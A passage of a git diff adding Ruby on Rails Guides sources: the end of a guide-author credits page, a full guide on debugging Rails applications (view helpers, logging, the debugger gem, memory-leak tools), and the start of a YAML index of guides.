+  Jason Zimdars is an experienced creative director and web designer who has lead UI and UX design for numerous websites and web applications. You can see more of his design and writing at <a href="http://www.thinkcage.com/">Thinkcage.com</a> or follow him on <a href="http://twitter.com/JZ">Twitter</a>.
+<% end %>
+
+<h3 class="section">Rails Guides Authors</h3>
+
+<%= author('Ryan Bigg', 'radar', 'radar.png') do %>
+Ryan Bigg works as a consultant at <a href="http://rubyx.com">RubyX</a> and has been working with Rails since 2006. He's co-authoring a book called <a href="http://manning.com/katz">Rails 3 in Action</a> and he's written many gems which can be seen on <a href="http://github.com/radar">his GitHub page</a> and he also tweets prolifically as <a href="http://twitter.com/ryanbigg">@ryanbigg</a>.
+<% end %>
+
+<%= author('Oscar Del Ben', 'oscardelben', 'oscardelben.jpg') do %>
+Oscar Del Ben is a software engineer at <a href="http://www.wildfireapp.com/">Wildfire</a>. He's a regular open source contributor (<a href="https://github.com/oscardelben">Github account</a>) and tweets regularly at <a href="https://twitter.com/oscardelben">@oscardelben</a>.
+  <% end %>
+
+<%= author('Frederick Cheung', 'fcheung') do %>
+  Frederick Cheung is Chief Wizard at Texperts where he has been using Rails since 2006. He is based in Cambridge (UK) and when not consuming fine ales he blogs at <a href="http://www.spacevatican.org">spacevatican.org</a>.
+<% end %>
+
+<%= author('Tore Darell', 'toretore') do %>
+  Tore Darell is an independent developer based in Menton, France who specialises in cruft-free web applications using Ruby, Rails and unobtrusive JavaScript. His home on the internet is his blog <a href="http://tore.darell.no">Sneaky Abstractions</a>.
+<% end %>
+
+<%= author('Jeff Dean', 'zilkey') do %>
+  Jeff Dean is a software engineer with <a href="http://pivotallabs.com">Pivotal Labs</a>.
+<% end %>
+
+<%= author('Mike Gunderloy', 'mgunderloy') do %>
+  Mike Gunderloy is a consultant with <a href="http://www.actionrails.com">ActionRails</a>. He brings 25 years of experience in a variety of languages to bear on his current work with Rails. His near-daily links and other blogging can be found at <a href="http://afreshcup.com">A Fresh Cup</a> and he <a href="http://twitter.com/MikeG1">twitters</a> too much.
+<% end %>
+
+<%= author('Mikel Lindsaar', 'raasdnil') do %>
+  Mikel Lindsaar has been working with Rails since 2006 and is the author of the Ruby <a href="https://github.com/mikel/mail">Mail gem</a> and core contributor (he helped re-write Action Mailer's API). Mikel is the founder of <a href="http://rubyx.com/">RubyX</a>, has a <a href="http://lindsaar.net/">blog</a> and <a href="http://twitter.com/raasdnil">tweets</a>.
+<% end %>
+
+<%= author('Cássio Marques', 'cmarques') do %>
+  Cássio Marques is a Brazilian software developer working with different programming languages such as Ruby, JavaScript, CPP and Java, as an independent consultant. He blogs at <a href="http://cassiomarques.wordpress.com">/* CODIFICANDO */</a>, which is mainly written in Portuguese, but will soon get a new section for posts with English translation.
+<% end %>
+
+<%= author('James Miller', 'bensie') do %>
+  James Miller is a software developer for <a href="http://www.jk-tech.com">JK Tech</a> in San Diego, CA. You can find James on GitHub, Gmail, Twitter, and Freenode as &quot;bensie&quot;.
+<% end %>
+
+<%= author('Pratik Naik', 'lifo') do %>
+  Pratik Naik is a Ruby on Rails consultant with <a href="http://www.actionrails.com">ActionRails</a> and also a member of the <a href="http://rubyonrails.org/core">Rails core team</a>. He maintains a blog at <a href="http://m.onkey.org">has_many :bugs, :through =&gt; :rails</a> and has an active <a href="http://twitter.com/lifo">twitter account</a>.
+<% end %>
+
+<%= author('Emilio Tagua', 'miloops') do %>
+  Emilio Tagua &mdash;a.k.a. miloops&mdash; is an Argentinian entrepreneur, developer, open source contributor and Rails evangelist. Cofounder of <a href="http://eventioz.com">Eventioz</a>. He has been using Rails since 2006 and contributing since early 2008. Can be found at gmail, twitter, freenode, everywhere as &quot;miloops&quot;.
+<% end %>
+
+<%= author('Heiko Webers', 'hawe') do %>
+  Heiko Webers is the founder of <a href="http://www.bauland42.de">bauland42</a>, a German web application security consulting and development company focused on Ruby on Rails. He blogs at the <a href="http://www.rorsecurity.info">Ruby on Rails Security Project</a>. After 10 years of desktop application development, Heiko has rarely looked back.
+<% end %>
diff --git a/guides/source/debugging_rails_applications.textile b/guides/source/debugging_rails_applications.textile
new file mode 100644
index 0000000000..667f2d2140
--- /dev/null
+++ b/guides/source/debugging_rails_applications.textile
@@ -0,0 +1,711 @@
+h2. Debugging Rails Applications
+
+This guide introduces techniques for debugging Ruby on Rails applications. By referring to this guide, you will be able to:
+
+* Understand the purpose of debugging
+* Track down problems and issues in your application that your tests aren't identifying
+* Learn the different ways of debugging
+* Analyze the stack trace
+
+endprologue.
+
+h3. View Helpers for Debugging
+
+One common task is to inspect the contents of a variable. In Rails, you can do this with three methods:
+
+* +debug+
+* +to_yaml+
+* +inspect+
+
+h4. +debug+
+
+The +debug+ helper will return a &lt;pre&gt;-tag that renders the object using the YAML format. This will generate human-readable data from any object. For example, if you have this code in a view:
+
+<html>
+<%= debug @post %>
+<p>
+  <b>Title:</b>
+  <%=h @post.title %>
+</p>
+</html>
+
+You'll see something like this:
+
+<yaml>
+--- !ruby/object:Post
+attributes:
+  updated_at: 2008-09-05 22:55:47
+  body: It's a very helpful guide for debugging your Rails app.
+  title: Rails debugging guide
+  published: t
+  id: "1"
+  created_at: 2008-09-05 22:55:47
+attributes_cache: {}
+
+
+Title: Rails debugging guide
+</yaml>
+
+h4. +to_yaml+
+
+Displaying an instance variable, or any other object or method, in YAML format can be achieved this way:
+
+<html>
+<%= simple_format @post.to_yaml %>
+<p>
+  <b>Title:</b>
+  <%=h @post.title %>
+</p>
+</html>
+
+The +to_yaml+ method converts the method to YAML format leaving it more readable, and then the +simple_format+ helper is used to render each line as in the console. This is how +debug+ method does its magic.
+
+As a result of this, you will have something like this in your view:
+
+<yaml>
+--- !ruby/object:Post
+attributes:
+updated_at: 2008-09-05 22:55:47
+body: It's a very helpful guide for debugging your Rails app.
+title: Rails debugging guide
+published: t
+id: "1"
+created_at: 2008-09-05 22:55:47
+attributes_cache: {}
+
+Title: Rails debugging guide
+</yaml>
+
+h4. +inspect+
+
+Another useful method for displaying object values is +inspect+, especially when working with arrays or hashes. This will print the object value as a string. For example:
+
+<html>
+<%= [1, 2, 3, 4, 5].inspect %>
+<p>
+  <b>Title:</b>
+  <%=h @post.title %>
+</p>
+</html>
+
+Will be rendered as follows:
+
+<pre>
+[1, 2, 3, 4, 5]
+
+Title: Rails debugging guide
+</pre>
+
+h3. The Logger
+
+It can also be useful to save information to log files at runtime. Rails maintains a separate log file for each runtime environment.
+
+h4. What is the Logger?
+
+Rails makes use of the +ActiveSupport::BufferedLogger+ class to write log information. You can also substitute another logger such as +Log4r+ if you wish.
+
+You can specify an alternative logger in your +environment.rb+ or any environment file:
+
+<ruby>
+Rails.logger = Logger.new(STDOUT)
+Rails.logger = Log4r::Logger.new("Application Log")
+</ruby>
+
+Or in the +Initializer+ section, add _any_ of the following
+
+<ruby>
+config.logger = Logger.new(STDOUT)
+config.logger = Log4r::Logger.new("Application Log")
+</ruby>
+
+TIP: By default, each log is created under +Rails.root/log/+ and the log file name is +environment_name.log+.
+
+h4. Log Levels
+
+When something is logged it's printed into the corresponding log if the log level of the message is equal or higher than the configured log level. If you want to know the current log level you can call the +Rails.logger.level+ method.
+
+The available log levels are: +:debug+, +:info+, +:warn+, +:error+, +:fatal+, and +:unknown+, corresponding to the log level numbers from 0 up to 5 respectively. To change the default log level, use
+
+<ruby>
+config.log_level = :warn # In any environment initializer, or
+Rails.logger.level = 0 # at any time
+</ruby>
+
+This is useful when you want to log under development or staging, but you don't want to flood your production log with unnecessary information.
+
+TIP: The default Rails log level is +info+ in production mode and +debug+ in development and test mode.
+
+h4. Sending Messages
+
+To write in the current log use the +logger.(debug|info|warn|error|fatal)+ method from within a controller, model or mailer:
+
+<ruby>
+logger.debug "Person attributes hash: #{@person.attributes.inspect}"
+logger.info "Processing the request..."
+logger.fatal "Terminating application, raised unrecoverable error!!!"
+</ruby>
+
+Here's an example of a method instrumented with extra logging:
+
+<ruby>
+class PostsController < ApplicationController
+  # ...
+
+  def create
+    @post = Post.new(params[:post])
+    logger.debug "New post: #{@post.attributes.inspect}"
+    logger.debug "Post should be valid: #{@post.valid?}"
+
+    if @post.save
+      flash[:notice] = 'Post was successfully created.'
+      logger.debug "The post was saved and now the user is going to be redirected..."
+      redirect_to(@post)
+    else
+      render :action => "new"
+    end
+  end
+
+  # ...
+end
+</ruby>
+
+Here's an example of the log generated by this method:
+
+<shell>
+Processing PostsController#create (for 127.0.0.1 at 2008-09-08 11:52:54) [POST]
+  Session ID: BAh7BzoMY3NyZl9pZCIlMDY5MWU1M2I1ZDRjODBlMzkyMWI1OTg2NWQyNzViZjYiCmZsYXNoSUM6J0FjdGl
+vbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2VkewA=--b18cd92fba90eacf8137e5f6b3b06c4d724596a4
+  Parameters: {"commit"=>"Create", "post"=>{"title"=>"Debugging Rails",
+ "body"=>"I'm learning how to print in logs!!!", "published"=>"0"},
+ "authenticity_token"=>"2059c1286e93402e389127b1153204e0d1e275dd", "action"=>"create", "controller"=>"posts"}
+New post: {"updated_at"=>nil, "title"=>"Debugging Rails", "body"=>"I'm learning how to print in logs!!!",
+ "published"=>false, "created_at"=>nil}
+Post should be valid: true
+  Post Create (0.000443)   INSERT INTO "posts" ("updated_at", "title", "body", "published",
+ "created_at") VALUES('2008-09-08 14:52:54', 'Debugging Rails',
+ 'I''m learning how to print in logs!!!', 'f', '2008-09-08 14:52:54')
+The post was saved and now the user is going to be redirected...
+Redirected to #<Post:0x20af760>
+Completed in 0.01224 (81 reqs/sec) | DB: 0.00044 (3%) | 302 Found [http://localhost/posts]
+</shell>
+
+Adding extra logging like this makes it easy to search for unexpected or unusual behavior in your logs. If you add extra logging, be sure to make sensible use of log levels, to avoid filling your production logs with useless trivia.
+
+h3. Debugging with the +debugger+ gem
+
+When your code is behaving in unexpected ways, you can try printing to logs or the console to diagnose the problem. Unfortunately, there are times when this sort of error tracking is not effective in finding the root cause of a problem. When you actually need to journey into your running source code, the debugger is your best companion.
+
+The debugger can also help you if you want to learn about the Rails source code but don't know where to start. Just debug any request to your application and use this guide to learn how to move from the code you have written deeper into Rails code.
+
+h4. Setup
+
+Rails uses the +debugger+ gem to set breakpoints and step through live code. To install it, just run:
+
+<shell>
+$ gem install debugger
+</shell>
+
+Rails has had built-in support for debugging since Rails 2.0. Inside any Rails application you can invoke the debugger by calling the +debugger+ method.
+
+Here's an example:
+
+<ruby>
+class PeopleController < ApplicationController
+  def new
+    debugger
+    @person = Person.new
+  end
+end
+</ruby>
+
+If you see the message in the console or logs:
+
+<shell>
+***** Debugger requested, but was not available: Start server with --debugger to enable *****
+</shell>
+
+Make sure you have started your web server with the option +--debugger+:
+
+<shell>
+$ rails server --debugger
+=> Booting WEBrick
+=> Rails 3.0.0 application starting on http://0.0.0.0:3000
+=> Debugger enabled
+...
+</shell>
+
+TIP: In development mode, you can dynamically +require \'debugger\'+ instead of restarting the server, if it was started without +--debugger+.
+
+h4. The Shell
+
+As soon as your application calls the +debugger+ method, the debugger will be started in a debugger shell inside the terminal window where you launched your application server, and you will be placed at the debugger's prompt +(rdb:n)+. The _n_ is the thread number. The prompt will also show you the next line of code that is waiting to run.
+
+If you got there by a browser request, the browser tab containing the request will be hung until the debugger has finished and the trace has finished processing the entire request.
+
+For example:
+
+<shell>
+@posts = Post.all
+(rdb:7)
+</shell>
+
+Now it's time to explore and dig into your application. A good place to start is by asking the debugger for help... so type: +help+ (You didn't see that coming, right?)
+
+<shell>
+(rdb:7) help
+ruby-debug help v0.10.2
+Type 'help <command-name>' for help on a specific command
+
+Available commands:
+backtrace  delete   enable  help    next  quit     show    trace
+break      disable  eval    info    p     reload   source  undisplay
+catch      display  exit    irb     pp    restart  step    up
+condition  down     finish  list    ps    save     thread  var
+continue   edit     frame   method  putl  set      tmate   where
+</shell>
+
+TIP: To view the help menu for any command use +help &lt;command-name&gt;+ in active debug mode. For example: _+help var+_
+
+The next command to learn is one of the most useful: +list+. You can abbreviate any debugging command by supplying just enough letters to distinguish them from other commands, so you can also use +l+ for the +list+ command.
+
+This command shows you where you are in the code by printing 10 lines centered around the current line; the current line in this particular case is line 6 and is marked by +=>+.
+
+<shell>
+(rdb:7) list
+[1, 10] in /PathToProject/posts_controller.rb
+   1  class PostsController < ApplicationController
+   2    # GET /posts
+   3    # GET /posts.json
+   4    def index
+   5      debugger
+=> 6      @posts = Post.all
+   7
+   8      respond_to do |format|
+   9        format.html # index.html.erb
+   10        format.json { render :json => @posts }
+</shell>
+
+If you repeat the +list+ command, this time using just +l+, the next ten lines of the file will be printed out.
+
+<shell>
+(rdb:7) l
+[11, 20] in /PathTo/project/app/controllers/posts_controller.rb
+   11      end
+   12    end
+   13
+   14    # GET /posts/1
+   15    # GET /posts/1.json
+   16    def show
+   17      @post = Post.find(params[:id])
+   18
+   19      respond_to do |format|
+   20        format.html # show.html.erb
+</shell>
+
+And so on until the end of the current file. When the end of file is reached, the +list+ command will start again from the beginning of the file and continue again up to the end, treating the file as a circular buffer.
+
+On the other hand, to see the previous ten lines you should type +list-+ (or +l-+)
+
+<shell>
+(rdb:7) l-
+[1, 10] in /PathToProject/posts_controller.rb
+   1  class PostsController < ApplicationController
+   2    # GET /posts
+   3    # GET /posts.json
+   4    def index
+   5      debugger
+   6      @posts = Post.all
+   7
+   8      respond_to do |format|
+   9        format.html # index.html.erb
+   10        format.json { render :json => @posts }
+</shell>
+
+This way you can move inside the file, being able to see the code above and over the line you added the +debugger+.
+Finally, to see where you are in the code again you can type +list=+
+
+<shell>
+(rdb:7) list=
+[1, 10] in /PathToProject/posts_controller.rb
+   1  class PostsController < ApplicationController
+   2    # GET /posts
+   3    # GET /posts.json
+   4    def index
+   5      debugger
+=> 6      @posts = Post.all
+   7
+   8      respond_to do |format|
+   9        format.html # index.html.erb
+   10        format.json { render :json => @posts }
+</shell>
+
+h4. The Context
+
+When you start debugging your application, you will be placed in different contexts as you go through the different parts of the stack.
+
+The debugger creates a context when a stopping point or an event is reached. The context has information about the suspended program which enables a debugger to inspect the frame stack, evaluate variables from the perspective of the debugged program, and contains information about the place where the debugged program is stopped.
+
+At any time you can call the +backtrace+ command (or its alias +where+) to print the backtrace of the application. This can be very helpful to know how you got where you are. If you ever wondered about how you got somewhere in your code, then +backtrace+ will supply the answer.
+
+<shell>
+(rdb:5) where
+    #0 PostsController.index
+       at line /PathTo/project/app/controllers/posts_controller.rb:6
+    #1 Kernel.send
+       at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
+    #2 ActionController::Base.perform_action_without_filters
+       at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
+    #3 ActionController::Filters::InstanceMethods.call_filters(chain#ActionController::Fil...,...)
+       at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb:617
+...
+</shell>
+
+You move anywhere you want in this trace (thus changing the context) by using the +frame _n_+ command, where _n_ is the specified frame number.
+
+<shell>
+(rdb:5) frame 2
+#2 ActionController::Base.perform_action_without_filters
+       at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
+</shell>
+
+The available variables are the same as if you were running the code line by line. After all, that's what debugging is.
+
+Moving up and down the stack frame: You can use +up [n]+ (+u+ for abbreviated) and +down [n]+ commands in order to change the context _n_ frames up or down the stack respectively. _n_ defaults to one. Up in this case is towards higher-numbered stack frames, and down is towards lower-numbered stack frames.
+
+h4. Threads
+
+The debugger can list, stop, resume and switch between running threads by using the command +thread+ (or the abbreviated +th+). This command has a handful of options:
+
+* +thread+ shows the current thread.
+* +thread list+ is used to list all threads and their statuses. The plus + character and the number indicates the current thread of execution.
+* +thread stop _n_+ stop thread _n_.
+* +thread resume _n_+ resumes thread _n_.
+* +thread switch _n_+ switches the current thread context to _n_.
+
+This command is very helpful, among other occasions, when you are debugging concurrent threads and need to verify that there are no race conditions in your code.
+
+h4. Inspecting Variables
+
+Any expression can be evaluated in the current context. To evaluate an expression, just type it!
+
+This example shows how you can print the instance_variables defined within the current context:
+
+<shell>
+@posts = Post.all
+(rdb:11) instance_variables
+["@_response", "@action_name", "@url", "@_session", "@_cookies", "@performed_render", "@_flash", "@template", "@_params", "@before_filter_chain_aborted", "@request_origin", "@_headers", "@performed_redirect", "@_request"]
+</shell>
+
+As you may have figured out, all of the variables that you can access from a controller are displayed. This list is dynamically updated as you execute code. For example, run the next line using +next+ (you'll learn more about this command later in this guide).
+
+<shell>
+(rdb:11) next
+Processing PostsController#index (for 127.0.0.1 at 2008-09-04 19:51:34) [GET]
+  Session ID: BAh7BiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7AA==--b16e91b992453a8cc201694d660147bba8b0fd0e
+  Parameters: {"action"=>"index", "controller"=>"posts"}
+/PathToProject/posts_controller.rb:8
+respond_to do |format|
+</shell>
+
+And then ask again for the instance_variables:
+
+<shell>
+(rdb:11) instance_variables.include? "@posts"
+true
+</shell>
+
+Now +@posts+ is included in the instance variables, because the line defining it was executed.
+
+TIP: You can also step into *irb* mode with the command +irb+ (of course!). This way an irb session will be started within the context you invoked it. But be warned: this is an experimental feature.
+
+The +var+ method is the most convenient way to show variables and their values:
+
+<shell>
+var
+(rdb:1) v[ar] const <object>            show constants of object
+(rdb:1) v[ar] g[lobal]                  show global variables
+(rdb:1) v[ar] i[nstance] <object>       show instance variables of object
+(rdb:1) v[ar] l[ocal]                   show local variables
+</shell>
+
+This is a great way to inspect the values of the current context variables. For example:
+
+<shell>
+(rdb:9) var local
+  __dbg_verbose_save => false
+</shell>
+
+You can also inspect for an object method this way:
+
+<shell>
+(rdb:9) var instance Post.new
+@attributes = {"updated_at"=>nil, "body"=>nil, "title"=>nil, "published"=>nil, "created_at"...
+@attributes_cache = {}
+@new_record = true
+</shell>
+
+TIP: The commands +p+ (print) and +pp+ (pretty print) can be used to evaluate Ruby expressions and display the value of variables to the console.
+
+You can use also +display+ to start watching variables. This is a good way of tracking the values of a variable while the execution goes on.
+
+<shell>
+(rdb:1) display @recent_comments
+1: @recent_comments =
+</shell>
+
+The variables inside the displaying list will be printed with their values after you move in the stack. To stop displaying a variable use +undisplay _n_+ where _n_ is the variable number (1 in the last example).
+
+h4. Step by Step
+
+Now you should know where you are in the running trace and be able to print the available variables. But lets continue and move on with the application execution.
+
+Use +step+ (abbreviated +s+) to continue running your program until the next logical stopping point and return control to the debugger.
+
+TIP: You can also use <tt>step<plus> n</tt> and <tt>step- n</tt> to move forward or backward +n+ steps respectively.
+
+You may also use +next+ which is similar to step, but function or method calls that appear within the line of code are executed without stopping. As with step, you may use plus sign to move _n_ steps.
+
+The difference between +next+ and +step+ is that +step+ stops at the next line of code executed, doing just a single step, while +next+ moves to the next line without descending inside methods.
+
+For example, consider this block of code with an included +debugger+ statement:
+
+<ruby>
+class Author < ActiveRecord::Base
+  has_one :editorial
+  has_many :comments
+
+  def find_recent_comments(limit = 10)
+    debugger
+    @recent_comments ||= comments.where("created_at > ?", 1.week.ago).limit(limit)
+  end
+end
+</ruby>
+
+TIP: You can use the debugger while using +rails console+. Just remember to +require "debugger"+ before calling the +debugger+ method.
+
+<shell>
+$ rails console
+Loading development environment (Rails 3.1.0)
+>> require "debugger"
+=> []
+>> author = Author.first
+=> #<Author id: 1, first_name: "Bob", last_name: "Smith", created_at: "2008-07-31 12:46:10", updated_at: "2008-07-31 12:46:10">
+>> author.find_recent_comments
+/PathTo/project/app/models/author.rb:11
+)
+</shell>
+
+With the code stopped, take a look around:
+
+<shell>
+(rdb:1) list
+[2, 9] in /PathTo/project/app/models/author.rb
+   2    has_one :editorial
+   3    has_many :comments
+   4
+   5    def find_recent_comments(limit = 10)
+   6      debugger
+=> 7      @recent_comments ||= comments.where("created_at > ?", 1.week.ago).limit(limit)
+   8    end
+   9  end
+</shell>
+
+You are at the end of the line, but... was this line executed? You can inspect the instance variables.
+
+<shell>
+(rdb:1) var instance
+@attributes = {"updated_at"=>"2008-07-31 12:46:10", "id"=>"1", "first_name"=>"Bob", "las...
+@attributes_cache = {}
+</shell>
+
++@recent_comments+ hasn't been defined yet, so it's clear that this line hasn't been executed yet. Use the +next+ command to move on in the code:
+
+<shell>
+(rdb:1) next
+/PathTo/project/app/models/author.rb:12
+@recent_comments
+(rdb:1) var instance
+@attributes = {"updated_at"=>"2008-07-31 12:46:10", "id"=>"1", "first_name"=>"Bob", "las...
+@attributes_cache = {}
+@comments = []
+@recent_comments = []
+</shell>
+
+Now you can see that the +@comments+ relationship was loaded and @recent_comments defined because the line was executed.
+
+If you want to go deeper into the stack trace you can move single +steps+, through your calling methods and into Rails code. This is one of the best ways to find bugs in your code, or perhaps in Ruby or Rails.
+
+h4. Breakpoints
+
+A breakpoint makes your application stop whenever a certain point in the program is reached. The debugger shell is invoked in that line.
+
+You can add breakpoints dynamically with the command +break+ (or just +b+). There are 3 possible ways of adding breakpoints manually:
+
+* +break line+: set breakpoint in the _line_ in the current source file.
+* +break file:line [if expression]+: set breakpoint in the _line_ number inside the _file_. If an _expression_ is given it must evaluated to _true_ to fire up the debugger.
+* +break class(.|\#)method [if expression]+: set breakpoint in _method_ (. and \# for class and instance method respectively) defined in _class_. The _expression_ works the same way as with file:line.
+
+<shell>
+(rdb:5) break 10
+Breakpoint 1 file /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb, line 10
+</shell>
+
+Use +info breakpoints _n_+ or +info break _n_+ to list breakpoints. If you supply a number, it lists that breakpoint. Otherwise it lists all breakpoints.
+
+<shell>
+(rdb:5) info breakpoints
+Num Enb What
+  1 y   at filters.rb:10
+</shell>
+
+To delete breakpoints: use the command +delete _n_+ to remove the breakpoint number _n_. If no number is specified, it deletes all breakpoints that are currently active..
+
+<shell>
+(rdb:5) delete 1
+(rdb:5) info breakpoints
+No breakpoints.
+</shell>
+
+You can also enable or disable breakpoints:
+
+* +enable breakpoints+: allow a list _breakpoints_ or all of them if no list is specified, to stop your program. This is the default state when you create a breakpoint.
+* +disable breakpoints+: the _breakpoints_ will have no effect on your program.
+
+h4. Catching Exceptions
+
+The command +catch exception-name+ (or just +cat exception-name+) can be used to intercept an exception of type _exception-name_ when there would otherwise be is no handler for it.
+
+To list all active catchpoints use +catch+.
+
+h4. Resuming Execution
+
+There are two ways to resume execution of an application that is stopped in the debugger:
+
+* +continue+ [line-specification] (or +c+): resume program execution, at the address where your script last stopped; any breakpoints set at that address are bypassed. The optional argument line-specification allows you to specify a line number to set a one-time breakpoint which is deleted when that breakpoint is reached.
+* +finish+ [frame-number] (or +fin+): execute until the selected stack frame returns. If no frame number is given, the application will run until the currently selected frame returns. The currently selected frame starts out the most-recent frame or 0 if no frame positioning (e.g up, down or frame) has been performed. If a frame number is given it will run until the specified frame returns.
+
+h4. Editing
+
+Two commands allow you to open code from the debugger into an editor:
+
+* +edit [file:line]+: edit _file_ using the editor specified by the EDITOR environment variable. A specific _line_ can also be given.
+* +tmate _n_+ (abbreviated +tm+): open the current file in TextMate. It uses n-th frame if _n_ is specified.
+
+h4. Quitting
+
+To exit the debugger, use the +quit+ command (abbreviated +q+), or its alias +exit+.
+
+A simple quit tries to terminate all threads in effect. Therefore your server will be stopped and you will have to start it again.
+
+h4. Settings
+
+The +debugger+ gem can automatically show the code you're stepping through and reload it when you change it in an editor. Here are a few of the available options:
+
+* +set reload+: Reload source code when changed.
+* +set autolist+: Execute +list+ command on every breakpoint.
+* +set listsize _n_+: Set number of source lines to list by default to _n_.
+* +set forcestep+: Make sure the +next+ and +step+ commands always move to a new line
+
+You can see the full list by using +help set+. Use +help set _subcommand_+ to learn about a particular +set+ command.
+
+TIP: You can save these settings in an +.rdebugrc+ file in your home directory. The debugger reads these global settings when it starts.
+
+Here's a good start for an +.rdebugrc+:
+
+<shell>
+set autolist
+set forcestep
+set listsize 25
+</shell>
+
+h3. Debugging Memory Leaks
+
+A Ruby application (on Rails or not), can leak memory - either in the Ruby code or at the C code level.
+
+In this section, you will learn how to find and fix such leaks by using tools such as BleakHouse and Valgrind.
+
+h4. BleakHouse
+
+"BleakHouse":https://github.com/evan/bleak_house/ is a library for finding memory leaks.
+
+If a Ruby object does not go out of scope, the Ruby Garbage Collector won't sweep it since it is referenced somewhere. Leaks like this can grow slowly and your application will consume more and more memory, gradually affecting the overall system performance. This tool will help you find leaks on the Ruby heap.
+
+To install it run:
+
+<shell>
+$ gem install bleak_house
+</shell>
+
+Then setup your application for profiling. Then add the following at the bottom of config/environment.rb:
+
+<ruby>
+require 'bleak_house' if ENV['BLEAK_HOUSE']
+</ruby>
+
+Start a server instance with BleakHouse integration:
+
+<shell>
+$ RAILS_ENV=production BLEAK_HOUSE=1 ruby-bleak-house rails server
+</shell>
+
+Make sure to run a couple hundred requests to get better data samples, then press +CTRL-C+. The server will stop and Bleak House will produce a dumpfile in +/tmp+:
+
+<shell>
+** BleakHouse: working...
+** BleakHouse: complete
+** Bleakhouse: run 'bleak /tmp/bleak.5979.0.dump' to analyze.
+</shell>
+
+To analyze it, just run the listed command. The top 20 leakiest lines will be listed:
+
+<shell>
+  191691 total objects
+  Final heap size 191691 filled, 220961 free
+  Displaying top 20 most common line/class pairs
+  89513 __null__:__null__:__node__
+  41438 __null__:__null__:String
+  2348 /opt/local//lib/ruby/site_ruby/1.8/rubygems/specification.rb:557:Array
+  1508 /opt/local//lib/ruby/gems/1.8/specifications/gettext-1.90.0.gemspec:14:String
+  1021 /opt/local//lib/ruby/gems/1.8/specifications/heel-0.2.0.gemspec:14:String
+   951 /opt/local//lib/ruby/site_ruby/1.8/rubygems/version.rb:111:String
+   935 /opt/local//lib/ruby/site_ruby/1.8/rubygems/specification.rb:557:String
+   834 /opt/local//lib/ruby/site_ruby/1.8/rubygems/version.rb:146:Array
+  ...
+</shell>
+
+This way you can find where your application is leaking memory and fix it.
+
+If "BleakHouse":https://github.com/evan/bleak_house/ doesn't report any heap growth but you still have memory growth, you might have a broken C extension, or real leak in the interpreter. In that case, try using Valgrind to investigate further.
+
+h4. Valgrind
+
+"Valgrind":http://valgrind.org/ is a Linux-only application for detecting C-based memory leaks and race conditions.
+
+There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. For example, a C extension in the interpreter calls +malloc()+ but is doesn't properly call +free()+, this memory won't be available until the app terminates.
+
+For further information on how to install Valgrind and use with Ruby, refer to "Valgrind and Ruby":http://blog.evanweaver.com/articles/2008/02/05/valgrind-and-ruby/ by Evan Weaver.
+
+h3. Plugins for Debugging
+
+There are some Rails plugins to help you to find errors and debug your application. Here is a list of useful plugins for debugging:
+
+* "Footnotes":https://github.com/josevalim/rails-footnotes: Every Rails page has footnotes that give request information and link back to your source via TextMate.
+* "Query Trace":https://github.com/ntalbott/query_trace/tree/master: Adds query origin tracing to your logs.
+* "Query Stats":https://github.com/dan-manges/query_stats/tree/master: A Rails plugin to track database queries.
+* "Query Reviewer":http://code.google.com/p/query-reviewer/: This rails plugin not only runs "EXPLAIN" before each of your select queries in development, but provides a small DIV in the rendered output of each page with the summary of warnings for each query that it analyzed.
+* "Exception Notifier":https://github.com/smartinez87/exception_notification/tree/master: Provides a mailer object and a default set of templates for sending email notifications when errors occur in a Rails application.
+* "Exception Logger":https://github.com/defunkt/exception_logger/tree/master: Logs your Rails exceptions in the database and provides a funky web interface to manage them.
+
+h3. References
+
+* "ruby-debug Homepage":http://bashdb.sourceforge.net/ruby-debug/home-page.html
+* "debugger Homepage":http://github.com/cldwalker/debugger
+* "Article: Debugging a Rails application with ruby-debug":http://www.sitepoint.com/article/debug-rails-app-ruby-debug/
+* "ruby-debug Basics screencast":http://brian.maybeyoureinsane.net/blog/2007/05/07/ruby-debug-basics-screencast/
+* "Ryan Bates' debugging ruby (revised) screencast":http://railscasts.com/episodes/54-debugging-ruby-revised
+* "Ryan Bates' stack trace screencast":http://railscasts.com/episodes/24-the-stack-trace
+* "Ryan Bates' logger screencast":http://railscasts.com/episodes/56-the-logger
+* "Debugging with ruby-debug":http://bashdb.sourceforge.net/ruby-debug.html
+* "ruby-debug cheat sheet":http://cheat.errtheblog.com/s/rdebug/
+* "Ruby on Rails Wiki: How to Configure Logging":http://wiki.rubyonrails.org/rails/pages/HowtoConfigureLogging
+* "Bleak House Documentation":http://blog.evanweaver.com/files/doc/fauna/bleak_house/
diff --git a/guides/source/documents.yaml b/guides/source/documents.yaml
new file mode 100644
index 0000000000..2acdcca39c
--- /dev/null
+++ b/guides/source/documents.yaml
@@ -0,0 +1,167 @@
+- 
+  name: Start Here
+  documents:
+    -
+      name: Getting Started with Rails
+      url: getting_started.html
+      description: Everything you need to know to install Rails and create your first application.
+-
+  name: Models
+  documents:
+    -
+      name: Rails Database Migrations
+      url: migrations.html
+      description: This guide covers how you can use Active Record migrations to alter your database in a structured and organized manner.
+    -
+      name: Active Record Validations and Callbacks
+      url: active_record_validations_callbacks.html
+      description: This guide covers how you can use Active Record validations and callbacks.
+    -
+      name: Active Record Associations
+      url: association_basics.html
+      description: This guide covers all the associations provided by Active Record.
+    -
+      name: Active Record Query Interface
+      url: active_record_querying.html
+      description: This guide covers the database query interface provided by Active Record.
+-
+  name: Views
+  documents:      
+    - 
+      name: Layouts and Rendering in Rails
+      url: layouts_and_rendering.html
+      description: This guide covers the basic layout features of Action Controller and Action View, including rendering and redirecting, using content_for blocks, and working with partials.
+    - 
+      name: Action View Form Helpers
+      url: form_helpers.html
+      description: Guide to using built-in Form helpers.
+-
+  name: Controllers
+  documents:
+    - 
+      name: Action Controller Overview
+      url: action_controller_overview.html
+      description: This guide covers how controllers work and how they fit into the request cycle in your application. It includes sessions, filters, and cookies, data streaming, and dealing with exceptions raised by a request, among other topics.
+    - 
+      name: Rails Routing from the Outside In
